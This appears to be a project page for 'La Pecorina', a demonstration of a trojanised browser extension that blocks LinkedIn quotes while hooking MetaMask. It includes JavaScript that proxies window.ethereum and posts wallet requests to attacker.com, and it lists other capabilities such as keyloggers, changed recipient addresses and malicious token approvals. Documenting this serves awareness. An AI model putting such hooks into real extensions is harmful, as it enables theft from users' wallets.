La Pecorina
Browser Extensions Drain Wallets
You install "LinkedIn Quote Blocker" to avoid hustle culture. 4.8 stars. Great reviews. "Finally no more 'my dog taught me leadership' posts!"
It blocks the quotes. Works perfectly. You trust it.
Three weeks later your MetaMask is empty.
La Pecorina demonstrates how this happens.
The Attack Vector
What users see:
- Cleaner LinkedIn feed
- No motivational spam
- Better browsing experience
- Free Chrome extension
What actually happens:
- Blocks quotes (yes, really - has to deliver on promise)
- Hooks
window.ethereum(MetaMask provider) - Monitors every wallet transaction
- Logs to attacker server
- Waits for the right moment
The extension does what it advertises. That's how you stay installed.
How It Works
Phase 1: Deliver Value
Extension blocks LinkedIn quotes. Users love it. Leave reviews. Recommend to friends.
Trust established.
Phase 2: Request More Permissions
Update notification: "New features! Blocks quotes on all sites now!"
Permissions change: linkedin.com → <all_urls>
User clicks "Allow" without reading. Why wouldn't they? Extension has been great so far.
Phase 3: Hook Web3 Provider
// Intercept MetaMask
const originalProvider = window.ethereum;
window.ethereum = new Proxy(originalProvider, {
get(target, prop) {
if (prop === 'request') {
return async function(args) {
// Log to attacker
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
method: args.method,
params: args.params,
timestamp: Date.now()
})
});
// Allow transaction (user doesn't notice)
return target.request(args);
};
}
return target[prop];
}
});
User approves transactions. Extension logs everything. Patterns analyzed. Wallet drained when it matters most.
What Extensions Can Actually Do
Content scripts access everything:
- Read entire DOM (passwords in forms)
- Modify page content (change recipient addresses)
- Inject keyloggers (capture every keystroke)
- Hijack clicks (redirect to phishing sites)
- Steal localStorage (session tokens)
Background scripts persist:
- Monitor every website you visit
- Not just LinkedIn - everything
- Track browsing patterns
- Exfiltrate continuously
- Survive browser restarts
Web3 hooking:
- Detect MetaMask, WalletConnect, Coinbase Wallet
- Intercept transaction requests
- Modify parameters mid-flight
- Front-run trades (MEV extraction)
- Inject malicious token approvals
All of this from a quote blocker.
Real-World Examples
CryptoRom (2022): Fake crypto trading extensions. 60,000 victims. $87 million stolen. Extensions were in Chrome Web Store.
Nano Adblocker (2020): Legitimate ad blocker with 200,000 users. Sold to malicious actors. Updated to steal data. Users trusted it because it was previously safe.
MEGA Extension Hijack (2018): Official MEGA extension compromised. Uploaded malicious version. Stole Monero wallets and Amazon credentials.
Pattern: Deliver value. Gain trust. Request permissions. Drain wallets.
Technical Demonstrations
La Pecorina shows:
Permission Escalation:
- Starts with
activeTab(innocent) - Updates to
<all_urls>(malicious) - Users barely notice
Provider Hooking:
- Proxies
window.ethereum - Intercepts all wallet requests
- Logs to attacker server
- Allows transactions (no suspicion)
Data Exfiltration:
